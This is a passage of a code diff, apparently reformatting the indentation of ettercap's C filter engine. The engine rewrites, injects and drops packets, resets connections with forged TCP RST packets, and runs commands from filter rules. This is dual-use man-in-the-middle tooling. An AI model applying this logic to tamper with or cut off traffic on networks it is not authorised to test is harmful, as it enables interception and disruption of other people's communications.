E_SUCCESS) - return FLAG_TRUE; - break; - - case FFUNC_REGEX: - /* search the string with a regex */ - if (func_regex(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; - - case FFUNC_PCRE: - /* evaluate a perl regex */ - if (func_pcre(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; + case FFUNC_SEARCH: + /* search the string */ + if (func_search(fop, po) == E_SUCCESS) + return FLAG_TRUE; + break; - case FFUNC_REPLACE: - /* replace the string */ - if (func_replace(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; - - case FFUNC_INJECT: - /* replace the string */ - if (func_inject(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; + case FFUNC_REGEX: + /* search the string with a regex */ + if (func_regex(fop, po) == E_SUCCESS) + return FLAG_TRUE; + break; - case FFUNC_EXECINJECT: - /* replace the string through output of a executable */ - if (func_execinject(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; - - case FFUNC_LOG: - /* log the packet */ - if (func_log(fop, po) == E_SUCCESS) - return FLAG_TRUE; - break; - - case FFUNC_DROP: - /* drop the packet */ - func_drop(po); + case FFUNC_PCRE: + /* evaluate a perl regex */ + if (func_pcre(fop, po) == E_SUCCESS) return FLAG_TRUE; - break; - - case FFUNC_KILL: - /* kill the connection */ - func_kill(po); + break; + + case FFUNC_REPLACE: + /* replace the string */ + if (func_replace(fop, po) == E_SUCCESS) return FLAG_TRUE; - break; - - case FFUNC_MSG: - /* display the message to the user */ - USER_MSG("%s\n", fop->op.func.string); + break; + + case FFUNC_INJECT: + /* replace the string */ + if (func_inject(fop, po) == E_SUCCESS) return FLAG_TRUE; - break; - - case FFUNC_EXEC: - /* execute the command */ - if (func_exec(fop) == E_SUCCESS) - return FLAG_TRUE; - break; - - default: - JIT_FAULT("unsupported function [%d]", fop->op.func.op); - break; + break; + + case FFUNC_EXECINJECT: + /* replace the string through output of a executable */ + if (func_execinject(fop, po) == E_SUCCESS) + return FLAG_TRUE; + break; + + case FFUNC_LOG: + /* log the packet */ + if (func_log(fop, po) == E_SUCCESS) + return FLAG_TRUE; + break; + + case FFUNC_DROP: + /* drop the packet */ + func_drop(po); + return FLAG_TRUE; + break; + + case FFUNC_KILL: + /* kill the connection */ + func_kill(po); + return FLAG_TRUE; + break; + + case FFUNC_MSG: + /* display the message to the user */ + USER_MSG("%s\n", fop->op.func.string); + return FLAG_TRUE; + break; + + case FFUNC_EXEC: + /* execute the command */ + if (func_exec(fop) == E_SUCCESS) + return FLAG_TRUE; + break; + + default: + JIT_FAULT("unsupported function [%d]", fop->op.func.op); + break; } return FLAG_FALSE; } -/* +/* * execute a test. * return FLAG_TRUE if the test was successful */ @@ -277,96 +278,95 @@ static int execute_test(struct filter_op *fop, struct packet_object *po) u_char *base = po->L2.header; int (*cmp_func)(u_int32, u_int32) = &cmp_eq; - /* + /* * point to the right base. * if the test is L3.ttl, we have to start from * L3.header to count for offset. */ switch (fop->op.test.level) { - case 2: - base = po->L2.header; - break; - case 3: - base = po->L3.header; - break; - case 4: - base = po->L4.header; - break; - case 5: - base = po->DATA.data; - break; - case 6: - base = po->DATA.disp_data; - break; - default: - JIT_FAULT("unsupported test level [%d]", fop->op.test.level); - break; + case 2: + base = po->L2.header; + break; + case 3: + base = po->L3.header; + break; + case 4: + base = po->L4.header; + break; + case 5: + base = po->DATA.data; + break; + case 6: + base = po->DATA.disp_data; + break; + default: + JIT_FAULT("unsupported test level [%d]", fop->op.test.level); + break; } /* set the pointer to the comparison function */ - switch(fop->op.test.op) { - case FTEST_EQ: - cmp_func = &cmp_eq; - break; - case FTEST_NEQ: - cmp_func = &cmp_neq; - break; - case FTEST_LT: - cmp_func = &cmp_lt; - break; - case FTEST_GT: - cmp_func = &cmp_gt; - break; - case FTEST_LEQ: - cmp_func = &cmp_leq; - break; - case FTEST_GEQ: - cmp_func = &cmp_geq; - break; - default: - JIT_FAULT("unsupported test operation"); - break; - + switch (fop->op.test.op) { + case FTEST_EQ: + cmp_func = &cmp_eq; + break; + case FTEST_NEQ: + cmp_func = &cmp_neq; + break; + case FTEST_LT: + cmp_func = &cmp_lt; + break; + case FTEST_GT: + cmp_func = &cmp_gt; + break; + case FTEST_LEQ: + cmp_func = &cmp_leq; + break; + case FTEST_GEQ: + cmp_func = &cmp_geq; + break; + default: + JIT_FAULT("unsupported test operation"); + break; } - - /* + + /* * get the value with the proper size. - * 0 is a special case for strings (even binary) + * 0 is a special case for strings (even binary) */ switch (fop->op.test.size) { - case 0: - /* string comparison */ - if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.string, fop->op.test.slen), 0) ) - return FLAG_TRUE; - break; - case 1: - /* char comparison */ - if (cmp_func(*(u_int8 *)(base + fop->op.test.offset), (fop->op.test.value & 0xff)) ) - return FLAG_TRUE; - break; - case 2: - /* short int comparison */ - if (cmp_func(htons(*(u_int16 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffff)) ) - return FLAG_TRUE; - break; - case 4: - /* int comparison */ - if (cmp_func(htonl(*(u_int32 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffffffff)) ) - return FLAG_TRUE; - break; - case 16: /* well IPv6 addresses should be handled as 16-byte pointer */ - if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.ipaddr, fop->op.test.size), 0) ) - return FLAG_TRUE; - break; - default: - JIT_FAULT("unsupported test size [%d]", fop->op.test.size); - break; + case 0: + /* string comparison */ + if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.string, fop->op.test.slen), 0)) + return FLAG_TRUE; + break; + case 1: + /* char comparison */ + if (cmp_func(*(u_int8 *)(base + fop->op.test.offset), (fop->op.test.value & 0xff))) + return FLAG_TRUE; + break; + case 2: + /* short int comparison */ + if (cmp_func(htons(*(u_int16 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffff))) + return FLAG_TRUE; + break; + case 4: + /* int comparison */ + if (cmp_func(htonl(*(u_int32 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffffffff))) + return FLAG_TRUE; + break; + case 16: /* well IPv6 addresses should be handled as 16-byte pointer */ + if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.ipaddr, fop->op.test.size), 0)) + return FLAG_TRUE; + break; + default: + JIT_FAULT("unsupported test size [%d]", fop->op.test.size); + break; } - + return FLAG_FALSE; } -/* +/* * make an assignment. */ static int execute_assign(struct filter_op *fop, struct packet_object *po) @@ -377,59 +377,59 @@ static int execute_assign(struct filter_op *fop, struct packet_object *po) /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); - + DEBUG_MSG("filter engine: execute_assign: L%d O%d S%d", fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size); - - /* + + /* * point to the right base. */ switch (fop->op.assign.level) { - case 2: - base = po->L2.header; - break; - case 3: - base = po->L3.header; - break; - case 4: - base = po->L4.header; - break; - case 5: - base = po->DATA.data; - break; - default: - JIT_FAULT("unsupported assignment level [%d]", fop->op.assign.level); - break; + case 2: + base = po->L2.header; + break; + case 3: + base = po->L3.header; + break; + case 4: + base = po->L4.header; + break; + case 5: + base = po->DATA.data; + break; + default: + JIT_FAULT("unsupported assignment level [%d]", fop->op.assign.level); + break; } - /* + /* * get the value with the proper size. - * 0 is a special case for strings (even binary) + * 0 is a special case for strings (even binary) */ switch (fop->op.assign.size) { - case 0: - memcpy(base + fop->op.assign.offset, fop->op.assign.string, fop->op.assign.slen); - break; - case 1: - *(u_int8 *)(base + fop->op.assign.offset) = (fop->op.assign.value & 0xff); - break; - case 2: - *(u_int16 *)(base + fop->op.assign.offset) = ntohs(fop->op.assign.value & 0xffff); - break; - case 4: - *(u_int32 *)(base + fop->op.assign.offset) = ntohl(fop->op.assign.value & 0xffffffff); - break; - default: - JIT_FAULT("unsupported assign size [%d]", fop->op.assign.size); - break; + case 0: + memcpy(base + fop->op.assign.offset, fop->op.assign.string, fop->op.assign.slen); + break; + case 1: + *(u_int8 *)(base + fop->op.assign.offset) = (fop->op.assign.value & 0xff); + break; + case 2: + *(u_int16 *)(base + fop->op.assign.offset) = ntohs(fop->op.assign.value & 0xffff); + break; + case 4: + *(u_int32 *)(base + fop->op.assign.offset) = ntohl(fop->op.assign.value & 0xffffffff); + break; + default: + JIT_FAULT("unsupported assign size [%d]", fop->op.assign.size); + break; } - + /* mark the packet as modified */ po->flags |= PO_MODIFIED; return FLAG_TRUE; } -/* +/* * make an increment or decrement. */ static int execute_incdec(struct filter_op *fop, struct packet_object *po) @@ -440,85 +440,84 @@ static int execute_incdec(struct filter_op *fop, struct packet_object *po) /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); - + DEBUG_MSG("filter engine: execute_incdec: L%d O%d S%d", fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size); - - /* + + /* * point to the right base. */ switch (fop->op.assign.level) { - case 2: - base = po->L2.header; - break; - case 3: - base = po->L3.header; - break; - case 4: - base = po->L4.header; - break; - case 5: - base = po->DATA.data; - break; - default: - JIT_FAULT("unsupported inc/dec level [%d]", fop->op.assign.level); - break; + case 2: + base = po->L2.header; + break; + case 3: + base = po->L3.header; + break; + case 4: + base = po->L4.header; + break; + case 5: + base = po->DATA.data; + break; + default: + JIT_FAULT("unsupported inc/dec level [%d]", fop->op.assign.level); + break; } - /* + /* * inc/dec the value with the proper size. */ switch (fop->op.assign.size) { - case 1: - if (fop->opcode == FOP_INC) - *(u_int8 *)(base + fop->op.assign.offset) += (fop->op.assign.value & 0xff); - else - *(u_int8 *)(base + fop->op.assign.offset) -= (fop->op.assign.value & 0xff); - break; - case 2: - if (fop->opcode == FOP_INC) - *(u_int16 *)(base + fop->op.assign.offset) += ntohs(fop->op.assign.value & 0xffff); - else - *(u_int16 *)(base + fop->op.assign.offset) -= ntohs(fop->op.assign.value & 0xffff); - break; - case 4: - if (fop->opcode == FOP_INC) - *(u_int32 *)(base + fop->op.assign.offset) += ntohl(fop->op.assign.value & 0xffffffff); - else - *(u_int32 *)(base + fop->op.assign.offset) -= ntohl(fop->op.assign.value & 0xffffffff); - break; - default: - JIT_FAULT("unsupported inc/dec size [%d]", fop->op.assign.size); - break; + case 1: + if (fop->opcode == FOP_INC) + *(u_int8 *)(base + fop->op.assign.offset) += (fop->op.assign.value & 0xff); + else + *(u_int8 *)(base + fop->op.assign.offset) -= (fop->op.assign.value & 0xff); + break; + case 2: + if (fop->opcode == FOP_INC) + *(u_int16 *)(base + fop->op.assign.offset) += ntohs(fop->op.assign.value & 0xffff); + else + *(u_int16 *)(base + fop->op.assign.offset) -= ntohs(fop->op.assign.value & 0xffff); + break; + case 4: + if (fop->opcode == FOP_INC) + *(u_int32 *)(base + fop->op.assign.offset) += ntohl(fop->op.assign.value & 0xffffffff); + else + *(u_int32 *)(base + fop->op.assign.offset) -= ntohl(fop->op.assign.value & 0xffffffff); + break; + default: + JIT_FAULT("unsupported inc/dec size [%d]", fop->op.assign.size); + break; } - + /* mark the packet as modified */ po->flags |= PO_MODIFIED; return FLAG_TRUE; } - /* * search a string and return TRUE if found */ static int func_search(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.level) { - case 5: - /* search in the real packet */ - if (memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen)) - return E_SUCCESS; - break; - case 6: - /* search in the decoded/decrypted packet */ - if (memmem(po->DATA.disp_data, po->DATA.disp_len, fop->op.func.string, fop->op.func.slen)) - return E_SUCCESS; - break; - default: - JIT_FAULT("unsupported search level [%d]", fop->op.func.level); - break; + case 5: + /* search in the real packet */ + if (memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen)) + return E_SUCCESS; + break; + case 6: + /* search in the decoded/decrypted packet */ + if (memmem(po->DATA.disp_data, po->DATA.disp_len, fop->op.func.string, fop->op.func.slen)) + return E_SUCCESS; + break; + default: + JIT_FAULT("unsupported search level [%d]", fop->op.func.level); + break; } - + return -E_NOTFOUND; } @@ -528,169 +527,166 @@ static int func_search(struct filter_op *fop, struct packet_object *po) static int func_regex(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.level) { - case 5: - /* search in the real packet */ - if (regexec(fop->op.func.ropt->regex, (const char*)po->DATA.data, 0, NULL, 0) == 0) - return E_SUCCESS; - break; - case 6: - /* search in the decoded/decrypted packet */ - if (regexec(fop->op.func.ropt->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) == 0) - return E_SUCCESS; - break; - default: - JIT_FAULT("unsupported regex level [%d]", fop->op.func.level); - break; + case 5: + /* search in the real packet */ + if (regexec(fop->op.func.ropt->regex, (const char *)po->DATA.data, 0, NULL, 0) == 0) + return E_SUCCESS; + break; + case 6: + /* search in the decoded/decrypted packet */ + if (regexec(fop->op.func.ropt->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) == 0) + return E_SUCCESS; + break; + default: + JIT_FAULT("unsupported regex level [%d]", fop->op.func.level); + break; } return -E_NOTFOUND; } - /* * evaluate a perl regex and return TRUE if found */ static int func_pcre(struct filter_op *fop, struct packet_object *po) { #ifndef HAVE_PCRE - (void) fop; - (void) po; + (void)fop; + (void)po; JIT_FAULT("pcre_regex support not compiled in ettercap"); return -E_NOTFOUND; #else int ovec[PCRE_OVEC_SIZE]; int ret; - + DEBUG_MSG("filter engine: func_pcre"); - + memset(&ovec, 0, sizeof(ovec)); - + switch (fop->op.func.level) { - case 5: - - /* search in the real packet */ - if ( (ret = pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.data, po->DATA.len, 0, 0, ovec, sizeof(ovec) / sizeof(*ovec))) < 0) - return -E_NOTFOUND; - - /* the pcre wants to modify the packet */ - if (fop->op.func.replace) { - u_char *replaced; - u_char *q = fop->op.func.replace; - size_t i; - int slen = 0; - - /* don't modify if in unoffensive mode */ - if (GBL_OPTIONS->unoffensive) - JIT_FAULT("Cannot modify packets in unoffensive mode"); - - /* - * worst case: the resulting string will need: - * (n * |input|) + |subst| bytes - * where - * |input| is the length of the matched input string (not the regex!) - * |subst| is the length of the substition string - * n is the number of replacement markers in subst - * - * therefore, we need to count the number of $ characters first - * to get an upper limit of the buffer space needed - */ - int markers = 0; - for (i=0; q[i]; i++) { - if (q[i] == '$') markers++; - } - /* now: i = strlen(q) */ - - SAFE_CALLOC(replaced, markers*(ovec[1]-ovec[0]) + i + 1, sizeof(char)); - - po->flags |= PO_MODIFIED; - - /* make the replacement */ - uint8_t escaped = 0; - for (i = 0; i < fop->op.func.rlen; i++) { - /* we encounter an escape character (\), so the next character is to be taken literally */ - if (!escaped && q[i] == '\\') { - escaped = 1; - } - /* there is an unescaped position marker */ - else if (!escaped && q[i] == '$') { - /* a marker is succeeded by an integer, make sure it is there */ - if (q[i+1] == '\0') - JIT_FAULT("Incomplete marker at end of substitution string"); - - /* so now we can safely move on to the next character, our digit */ - i++; - /* we only support up to 9 markers since we only parse a single digit */ - if (q[i] < '0' || q[i] > '9') - JIT_FAULT("Incomplete marker without integer in substitution string"); - - int marker = q[i]-'0'; - - /* check if the requested marker was found in the pce */ - if (marker > ret - 1 || marker == 0) - JIT_FAULT("Too many marker for this pcre expression"); - - int t = ovec[marker * 2]; - int r = ovec[marker * 2 + 1]; - - /* copy the sub-string in place of the marker */ - for ( ; t < r; t++) - replaced[slen++] = po->DATA.data[t]; - - } - /* anything else either has no special meaning or is escaped, - * so we just copy it - */ - else { - replaced[slen++] = q[i]; - escaped = 0; - } - } - - /* calculate the delta */ - int delta = (ovec[0]-ovec[1])+slen; + case 5: + + /* search in the real packet */ + if ((ret = pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.data, po->DATA.len, 0, 0, ovec, sizeof(ovec) / sizeof(*ovec))) < 0) + return -E_NOTFOUND; + + /* the pcre wants to modify the packet */ + if (fop->op.func.replace) { + u_char *replaced; + u_char *q = fop->op.func.replace; + size_t i; + int slen = 0; + + /* don't modify if in unoffensive mode */ + if (GBL_OPTIONS->unoffensive) + JIT_FAULT("Cannot modify packets in unoffensive mode"); + + /* + * worst case: the resulting string will need: + * (n * |input|) + |subst| bytes + * where + * |input| is the length of the matched input string (not the regex!) + * |subst| is the length of the substition string + * n is the number of replacement markers in subst + * + * therefore, we need to count the number of $ characters first + * to get an upper limit of the buffer space needed + */ + int markers = 0; + for (i = 0; q[i]; i++) { + if (q[i] == '$') markers++; + } + /* now: i = strlen(q) */ - /* check if we are overflowing pcap buffer */ - BUG_IF(po->DATA.data < po->packet); - BUG_IF((u_int16)(GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len+delta); + SAFE_CALLOC(replaced, markers * (ovec[1] - ovec[0]) + i + 1, sizeof(char)); - /* if the substitution string has a different length than the - * matched original string, we have to move around some data + po->flags |= PO_MODIFIED; + + /* make the replacement */ + uint8_t escaped = 0; + for (i = 0; i < fop->op.func.rlen; i++) { + /* we encounter an escape character (\), so the next character is to be taken literally */ + if (!escaped && q[i] == '\\') { + escaped = 1; + } + /* there is an unescaped position marker */ + else if (!escaped && q[i] == '$') { + /* a marker is succeeded by an integer, make sure it is there */ + if (q[i + 1] == '\0') + JIT_FAULT("Incomplete marker at end of substitution string"); + + /* so now we can safely move on to the next character, our digit */ + i++; + /* we only support up to 9 markers since we only parse a single digit */ + if (q[i] < '0' || q[i] > '9') + JIT_FAULT("Incomplete marker without integer in substitution string"); + + int marker = q[i] - '0'; + + /* check if the requested marker was found in the pce */ + if (marker > ret - 1 || marker == 0) + JIT_FAULT("Too many marker for this pcre expression"); + + int t = ovec[marker * 2]; + int r = ovec[marker * 2 + 1]; + + /* copy the sub-string in place of the marker */ + for (; t < r; t++) + replaced[slen++] = po->DATA.data[t]; + } + /* anything else either has no special meaning or is escaped, + * so we just copy it */ - int size_left = po->DATA.len - ovec[0] - slen; - int data_left = po->DATA.len - ovec[1]; - DEBUG_MSG("func_pcre: match from %d to %d, substitution length is %d\n", ovec[0], ovec[1], slen); - DEBUG_MSG("func_pcre: packet size changed by %d bytes\n", delta); - if (delta != 0) { - /* copy everything behind the matched string to the new position */ - memcpy(po->DATA.data+ovec[0]+slen, po->DATA.data + ovec[1], size_left < data_left ? size_left : data_left); + else { + replaced[slen++] = q[i]; + escaped = 0; } + } - /* copy the modified buffer on the original packet */ - memcpy(po->DATA.data+ovec[0], replaced, slen); + /* calculate the delta */ + int delta = (ovec[0] - ovec[1]) + slen; + + /* check if we are overflowing pcap buffer */ + BUG_IF(po->DATA.data < po->packet); + BUG_IF((u_int16)(GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len + delta); + + /* if the substitution string has a different length than the + * matched original string, we have to move around some data + */ + int size_left = po->DATA.len - ovec[0] - slen; + int data_left = po->DATA.len - ovec[1]; + DEBUG_MSG("func_pcre: match from %d to %d, substitution length is %d\n", ovec[0], ovec[1], slen); + DEBUG_MSG("func_pcre: packet size changed by %d bytes\n", delta); + if (delta != 0) { + /* copy everything behind the matched string to the new position */ + memcpy(po->DATA.data + ovec[0] + slen, po->DATA.data + ovec[1], size_left < data_left ? size_left : data_left); + } - po->DATA.delta += delta; - po->DATA.len += delta; + /* copy the modified buffer on the original packet */ + memcpy(po->DATA.data + ovec[0], replaced, slen); - SAFE_FREE(replaced); - } - - break; - case 6: - /* search in the decoded one */ - if ( pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.disp_data, po->DATA.disp_len, 0, 0, NULL, 0) < 0) - return -E_NOTFOUND; - break; - default: - JIT_FAULT("unsupported pcre_regex level [%d]", fop->op.func.level); - break; + po->DATA.delta += delta; + po->DATA.len += delta; + + SAFE_FREE(replaced); + } + + break; + case 6: + /* search in the decoded one */ + if (pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.disp_data, po->DATA.disp_len, 0, 0, NULL, 0) < 0) + return -E_NOTFOUND; + break; + default: + JIT_FAULT("unsupported pcre_regex level [%d]", fop->op.func.level); + break; } return E_SUCCESS; #endif } - -/* +/* * replace a string in the packet object DATA.data */ static int func_replace(struct filter_op *fop, struct packet_object *po) @@ -700,27 +696,27 @@ static int func_replace(struct filter_op *fop, struct packet_object *po) size_t len; size_t slen = fop->op.func.slen; size_t rlen = fop->op.func.rlen; - + /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); - + /* check if it exist at least one */ - if (!memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen) ) + if (!memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen)) return -E_NOTFOUND; DEBUG_MSG("filter engine: func_replace"); - /* + /* * XXX BIG WARNING: - * maxlen is GBL_PCAP->snaplen, but we can't + * maxlen is GBL_PCAP->snaplen, but we can't * rely on this forever... */ - + /* take the beginning and the end of the data */ ptr = po->DATA.data; end = ptr + po->DATA.len; - + /* do the replacement */ do { /* the len of the buffer to be analized */ @@ -732,32 +728,31 @@ static int func_replace(struct filter_op *fop, struct packet_object *po) /* string no found, exit */ if (ptr == NULL) break; - + /* update the len */ len = end - ptr - slen; - + /* set the delta */ po->DATA.delta += rlen - slen; po->DATA.len += rlen - slen; - + /* check if we are overflowing pcap buffer */ BUG_IF(po->DATA.data < po->packet); - BUG_IF((u_int16)(GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len); - - /* move the buffer to make room for the replacement string */ - memmove(ptr + rlen, ptr + slen, len); + BUG_IF((u_int16)(GBL_PCAP->snaplen - (po->DATA.data - po->packet)) <= po->DATA.len); + + /* move the buffer to make room for the replacement string */ + memmove(ptr + rlen, ptr + slen, len); /* copy the replacemente string */ memcpy(ptr, fop->op.func.replace, rlen); /* move the ptr after the replaced string */ - ptr += rlen; + ptr += rlen; /* adjust the new buffer end */ end += rlen - slen; - + /* mark the packet as modified */ po->flags |= PO_MODIFIED; + } while (ptr != NULL && ptr < end); - } while(ptr != NULL && ptr < end); - return E_SUCCESS; } @@ -769,16 +764,15 @@ static int func_inject(struct filter_op *fop, struct packet_object *po) int fd; void *file; size_t size, ret; - + /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); - DEBUG_MSG("filter engine: func_inject %s", fop->op.func.string); - + /* open the file */ - if ((fd = open((const char*)fop->op.func.string, O_RDONLY | O_BINARY)) == -1) { + if ((fd = open((const char *)fop->op.func.string, O_RDONLY | O_BINARY)) == -1) { USER_MSG("filter engine: inject(): File not found (%s)\n", fop->op.func.string); return -E_FATAL; } @@ -788,38 +782,38 @@ static int func_inject(struct filter_op *fop, struct packet_object *po) /* load the file in memory */ SAFE_CALLOC(file, size, sizeof(char)); - + /* rewind the pointer */ lseek(fd, 0, SEEK_SET); - + ret = read(fd, file, size); - + close(fd); if (ret != size) FATAL_MSG("Cannot read the file into memory"); - + /* check if we are overflowing pcap buffer */ - if(GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)size) + if (GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)size) JIT_FAULT("injected file too long"); - + /* copy the file into the buffer */ memcpy(po->DATA.data + po->DATA.len, file, size); /* Adjust packet len and delta */ po->DATA.delta += size; - po->DATA.len += size; + po->DATA.len += size; /* mark the packet as modified */ po->flags |= PO_MODIFIED; - + /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* close and unmap the file */ SAFE_FREE(file); - + return E_SUCCESS; } @@ -832,60 +826,57 @@ static int func_execinject(struct filter_op *fop, struct packet_object *po) unsigned char *output = NULL; size_t n = 0, offset = 0, size = 128; unsigned char buf[size]; - + /* check the offensiveness */ if (GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot inject packets in unoffensive mode"); - DEBUG_MSG("filter engine: func_execinject %s", fop->op.func.string); - + /* open the pipe */ - if ((pstream = popen((const char*)fop->op.func.string, "r")) == NULL) { + if ((pstream = popen((const char *)fop->op.func.string, "r")) == NULL) { USER_MSG("filter engine: execinject(): Command not found (%s)\n", fop->op.func.string); return -E_FATAL; } - + while ((n = read(fileno(pstream), buf, size)) != 0) { if (output == NULL) { - SAFE_CALLOC(output, offset+n, sizeof(unsigned char)); - } - else { - SAFE_REALLOC(output, sizeof(unsigned char)*(offset+n)); + SAFE_CALLOC(output, offset + n, sizeof(unsigned char)); + } else { + SAFE_REALLOC(output, sizeof(unsigned char) * (offset + n)); } - memcpy(output+offset, buf, n); + memcpy(output + offset, buf, n); offset += n; } - + /* close pipe stream */ pclose(pstream); /* check if we are overflowing pcap buffer */ - if(GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)offset) + if (GBL_PCAP->snaplen - (po->L4.header - (po->packet + po->L2.len) + po->L4.len) <= po->DATA.len + (unsigned)offset) JIT_FAULT("injected output too long"); - + /* copy the output into the buffer */ memcpy(po->DATA.data + po->DATA.len, output, offset); /* Adjust packet len and delta */ po->DATA.delta += offset; - po->DATA.len += offset; + po->DATA.len += offset; /* mark the packet as modified */ po->flags |= PO_MODIFIED; - + /* unset the flag to be dropped */ if (po->flags & PO_DROPPED) po->flags ^= PO_DROPPED; /* free memory */ SAFE_FREE(output); - + return E_SUCCESS; } - /* * log the packet to a file */ @@ -894,32 +885,32 @@ static int func_log(struct filter_op *fop, struct packet_object *po) int fd; DEBUG_MSG("filter engine: func_log"); - + /* open the file */ - fd = open((const char*)fop->op.func.string, O_CREAT | O_APPEND | O_RDWR | O_BINARY, 0600); + fd = open((const char *)fop->op.func.string, O_CREAT | O_APPEND | O_RDWR | O_BINARY, 0600); if (fd == -1) { USER_MSG("filter engine: Cannot open file %s\n", fop->op.func.string); return -E_FATAL; } /* which data should I have to log ? */ - switch(fop->op.func.level) { - case 5: - if (write(fd, po->DATA.data, po->DATA.len) < 0) - USER_MSG("filter engine: Cannot write to file...%d\n", errno); - break; - case 6: - if (write(fd, po->DATA.disp_data, po->DATA.disp_len) < 0) - USER_MSG("filter engine: Cannot write to file...\n"); - break; - default: - JIT_FAULT("unsupported log level [%d]", fop->op.func.level); - break; + switch (fop->op.func.level) { + case 5: + if (write(fd, po->DATA.data, po->DATA.len) < 0) + USER_MSG("filter engine: Cannot write to file...%d\n", errno); + break; + case 6: + if (write(fd, po->DATA.disp_data, po->DATA.disp_len) < 0) + USER_MSG("filter engine: Cannot write to file...\n"); + break; + default: + JIT_FAULT("unsupported log level [%d]", fop->op.func.level); + break; } /* close the file */ close(fd); - + return E_SUCCESS; } @@ -929,14 +920,14 @@ static int func_log(struct filter_op *fop, struct packet_object *po) static int func_drop(struct packet_object *po) { DEBUG_MSG("filter engine: func_drop"); - + /* se the flag to be dropped */ po->flags |= PO_DROPPED; /* the delta is all the payload */ po->DATA.delta -= po->DATA.len; po->DATA.len = 0; - + return E_SUCCESS; } @@ -951,16 +942,16 @@ static int func_kill(struct packet_object *po) if (po->L4.proto == NL_TYPE_TCP) { /* reset both sides */ - /* + /* * we can trust the ack number. - * at least one side will be reset. the other is automatically reset + * at least one side will be reset. the other is automatically reset */ send_tcp(&po->L3.src, &po->L3.dst, po->L4.src, po->L4.dst, po->L4.seq, 0, TH_RST, NULL, 0); send_tcp(&po->L3.dst, &po->L3.src, po->L4.dst, po->L4.src, po->L4.ack, 0, TH_RST, NULL, 0); } else if (po->L4.proto == NL_TYPE_UDP) { send_L3_icmp_unreach(po); } - + return E_SUCCESS; } @@ -970,25 +961,25 @@ static int func_kill(struct packet_object *po) static int func_exec(struct filter_op *fop) { pid_t pid; - + DEBUG_MSG("filter engine: func_exec: %s", fop->op.func.string); - - /* + + /* * the command must be executed by a child. - * we are forwding packets, and we cannot wait - * for the execution of the command + * we are forwding packets, and we cannot wait + * for the execution of the command */ pid = fork(); - + /* check if the fork was successfull */ if (pid == -1) SEMIFATAL_ERROR("filter engine: fork() failed, cannot execute %s", fop->op.func.string); - + /* differentiate between the parent and the child */ if (!pid) { int k, param_length; char **param = NULL; - char *q = (char*)fop->op.func.string; + char *q = (char *)fop->op.func.string; char *p; int i = 0; @@ -996,36 +987,36 @@ static int func_exec(struct filter_op *fop) for (p = strsep(&q, " "); p != NULL; p = strsep(&q, " ")) { /* allocate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); - + /* copy the tokens in the array */ - param[i++] = strdup(p); + param[i++] = strdup(p); } - + /* NULL terminate the array */ SAFE_REALLOC(param, (i + 1) * sizeof(char *)); - + param[i] = NULL; - param_length= i + 1; //because there is a SAFE_REALLOC after the for. - - /* + param_length = i + 1; // because there is a SAFE_REALLOC after the for. + + /* * close input, output and error. - * we don't want to clobber the interface + * we don't want to clobber the interface * with output from the child */ close(fileno(stdin)); close(fileno(stdout)); close(fileno(stderr)); - + /* execute the command */ execve(param[0], param, NULL); /* reached on errors */ - for(k= 0; k < param_length; ++k) - SAFE_FREE(param[k]); - SAFE_FREE(param); + for (k = 0; k < param_length; ++k) + SAFE_FREE(param[k]); + SAFE_FREE(param); _exit(-1); } - + return E_SUCCESS; } @@ -1034,36 +1025,36 @@ static int func_exec(struct filter_op *fop) */ static int cmp_eq(u_int32 a, u_int32 b) { - return (a == b); + return a == b; } static int cmp_neq(u_int32 a, u_int32 b) { - return (a != b); + return a != b; } static int cmp_lt(u_int32 a, u_int32 b) { - return (a < b); + return a < b; } static int cmp_gt(u_int32 a, u_int32 b) { - return (a > b); + return a > b; } static int cmp_leq(u_int32 a, u_int32 b) { - return (a <= b); + return a <= b; } static int cmp_geq(u_int32 a, u_int32 b) { - return (a >= b); + return a >= 